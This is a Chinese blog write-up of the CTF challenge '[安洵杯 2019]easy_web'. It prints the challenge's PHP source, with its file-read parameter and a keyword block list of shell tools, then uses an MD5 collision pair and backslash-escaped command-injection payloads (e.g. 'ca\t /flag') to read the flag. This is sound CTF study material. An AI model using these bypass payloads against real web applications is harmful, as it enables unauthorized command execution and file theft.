首页 > 其他分享 >[安洵杯 2019]easy_web

[安洵杯 2019]easy_web

时间:2024-03-26 14:56:24浏览次数:17  
标签:easy img cmd 安洵 echo flag 2019 file POST

[安洵杯 2019]easy_web

y4DrQfRJZokpZ5df0GLLpor0ghw0PkKymXQBF-YSvUg

打开页面如图所示,在地址栏发现有img参数和空的cmd参数

ZcveE7fkyPgafauO90mW35zm6-12kpxyHZzTbrCItoc

对img参数进行解码,经过两次base64解码和Hex解码得到555.png

l3NEHxHoAqNPDE4gw1XxNudPJOwSEOcAR6asf1PYtDM

试着读取index.php的源码,也用同样的方式进行编码得到TmprMlpUWTBOalUzT0RKbE56QTJPRGN3

zDgzcvPyAhK1S2QReEb1Xr_N0bBGsDRw3G7cXUm23oI

放到img参数中发送

M53obn3iwActy0M-SGrAtP8BWMqQQDhRUrOyUCmTGq4

经过base64解码后得到源代码

<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd'])) 
    header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));

$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
    echo '<img src ="./ctf3.jpeg">';
    die("xixi~ no flag");
} else {
    $txt = base64_encode(file_get_contents($file));
    echo "<img src='data:image/gif;base64," . $txt . "'></img>";
    echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
    echo("forbid ~");
    echo "<br>";
} else {
    if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
        echo `$cmd`;
    } else {
        echo ("md5 is funny ~");
    }
}

?>
<html>
<style>
  body{
   background:url(./bj.png)  no-repeat center center;
   background-size:cover;
   background-attachment:fixed;
   background-color:#CCCCCC;
}
</style>
<body>
</body>
</html>

代码审计

1.MD5强绕过

if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
        echo `$cmd`;
//以post形式上传参数字符串a和b,ab不能相等,但是经过MD5加密后需要相等

对于一般的MD5强绕过(===)来说,可以直接用数组进行绕过,但是这题用了string强转换,所以利用字符串的MD5强绕过

a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2
b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2

这两串 url 编码进行 urldecode 后 md5 值相同,注意要放进 burp 执行,因为放 hackbar 里会对数据自动进行 url 编码。

2.cmd命令执行

$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd'])) 
    header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));

$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
    echo '<img src ="./ctf3.jpeg">';
    die("xixi~ no flag");
} else {
    $txt = base64_encode(file_get_contents($file));
    echo "<img src='data:image/gif;base64," . $txt . "'></img>";
    echo "<br>";
}
echo $cmd;
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) 

这里对cmd的参数的关键字进行了正则匹配过滤,因为|\\|\\\\|只对双斜杠和四斜杠进行了过滤,正则中\\\才相当于一个\,对于preg_match这个函数可以通过单反斜杠\进行绕过,也就是说可以

ls  -> l\s
cat -> ca\t

payload:

cmd=l\s+/ //列出根路径

cmd=ca\t%20/flag
绝对路径:cmd=/bin/ca\t%20/flag
stings读取flag:cmd=strings%20/flag
sort比较读取flag:cmd=sort%20/flag
//以后空格都尽量用%20代替

jDs6VNdr5Atvnh7wvEKMzqIRiKwNDfOlk0HpZ-5w3Jk

dQPfIuELXDs4uIFfRYL8ScI6uHebtcLiLFBfz94qTCw

q3Ay7k-nQV9Wxsa1VSPOO6D8J1oOPWNvR0ZlsXEfTOA

LadO55GbFcv68eoXc8mX1t-QdLSrVq1VrYC-9cqEymE

3.对于反斜杠的测试

php中:
echo '\';     //报错
echo '\\';    //返回\
echo '\\\';   //报错
echo '\\\\';  //返回\\
echo '\\\\\';  //报错
echo '\\\\\\';  //返回\\\
可以看出当\的数量为基数的时候都报错,偶数的时候返回一半的数量

4.对于sort的解释

sort的定义:

sort将文件的每一行作为一个单位相互比较,比较原则是从首字符向后依次按ASCII码进行比较,最后将它们按升序输出(就是按行排序)。

参考文章:

https://sculptor-liu.github.io/2021/03/20/%E5%AE%89%E6%B4%B5%E6%9D%AF-2019-easy-web/

https://www.cnblogs.com/Sentry-fei/p/15487427.html

标签:easy,img,cmd,安洵,echo,flag,2019,file,POST
From: https://www.cnblogs.com/fishjumpriver/p/18096667

相关文章

  • 安防监控视频汇聚平台EasyCVR在银河麒麟V10系统中的启动异常及解决方法
    安防监控视频平台EasyCVR具备较强的兼容性,它可以支持国标GB28181、RTSP/Onvif、RTMP,以及厂家的私有协议与SDK,如:海康ehome、海康sdk、大华sdk、宇视sdk、华为sdk、萤石云sdk、乐橙sdk等。平台兼容性强,支持Windows系统、Linux系统以及国产化操作系统等。有用户反馈,在银河麒麟V10系......
  • [CISCN 2019东北]PWN2
    下载好附件之后,先丢到checksec看一下开了什么保护有栈溢出:Stack:Nocanaryfound丢到IDE看一下按shift+f12看一下字符串,发现没有system和/bin/sh回到上方标签(IDAView-A)回到主界面按f5查看伪代码发现encrypt()函数存在gets溢出gets没有任何限制,但是储存用户......
  • 攻防世界easycap解题
    打开之后,是一个数据包文件,使用Wireshark软件打开先去查看一下协议分级发现这个data占的内容比较多,就先用这个关键字去过滤一下直接点击第一个右键,查看一下TCP的流量直接就找到flag值了flag:FLAG:385b87afc8671dee07550290d16a8071......
  • 【NC19989】容易题(EASY)
    题目容易题(EASY)乘法分配律很多人都觉得这道题很简单以至于做了都侮辱智商,但是题解里面只有“显然”,“容易”,以及一堆乱七八糟简洁的代码,没有说出规律是怎么得来的,令人费解。因此记录一下思路和推导。思路首先肯定是找规律,然而这道题涉及到可重复数的全排列,所以......
  • EasyUi之Tabs(选项卡)
    原文链接:https://blog.csdn.net/qianbihua00/article/details/115392143什么是Tabs选项卡是最流行的导航模式之一(与菜单栏和垂直导航一样)。选项卡最大的优点是用户很熟悉,而且经常是持久的内容,所以即使用户在网站或应用程序中跳出刚浏览过的内容,他们也不会迷失。官方示例 ......
  • P8687 [蓝桥杯 2019 省 A] 糖果
    题意:n个零食,每个零食有k种配料,一共有m种配料。问最少吃几包零食,可以吃到所有配料。n<=100,m<=20,k<=m。思路:最优化问题,如果n<=20可以直接bf,这里m<=20,对m进行状态压缩,正确的解法应该是线性dp+状态压缩。总结:很容易陷入一个哈密顿路径思路的误区中,在哈密顿路径中,一......
  • P5324 [BJOI2019] 删数
    P5324[BJOI2019]删数转化条件+线段树由于值域不大,并且删数操作跟序列顺序无关,只和每个数的出现次数有关,考虑在值域上分析删数操作。发现对于每一个值\(i\)可以抽象为覆盖了\([i-buc_{i}+1,i]\)的区间。要使数列删空,就要让\([1,n]\)被填满。这样我们就会发现答案就是\([......
  • RabbitMQ3.x之一_WindowServer2019中安装RabbitMQ详细教程
    RabbitMQ3.x之一_WindowServer2019中安装RabbitMQ详细教程文章目录RabbitMQ3.x之一_WindowServer2019中安装RabbitMQ详细教程1.安装环境说明1.WindowServer20192.ErLang与RabbitMQ对应版本2安装Erlang1.安装Erlang2.ErLnag环境变量配置3.查看是否安装成功3.安......
  • 2019 年互联网寒冬下IT程序员招聘行情招聘形势感受
        几次听到过一个段子:2019年可能会是过去10年里最差的一年,但却是未来10年里最好的一年。前不久在清华大学上课的时候我们一个教授(他参与当前国家经济政策制定的)也善意提醒我们未来几年花钱一定要紧,切勿乱投资。虽然这些说法或许有些过于绝对和悲观,但春江水暖鸭先知,相信说......
  • CF1628D1 Game on Sum (Easy Version) 题解
    题目传送门(EasyVersion)|题目传送门(HardVersion)前置知识博弈论解法CF1628D1GameonSum(EasyVersion)设\(x_{i}\)表示第\(i\)轮时Alice选择的数。设\(f_{i,j}\)表示已经进行了\(i\)轮,且使用了\(j\)次加法时的最大得分,状态转移方程为\(f_{i,j}=\ma......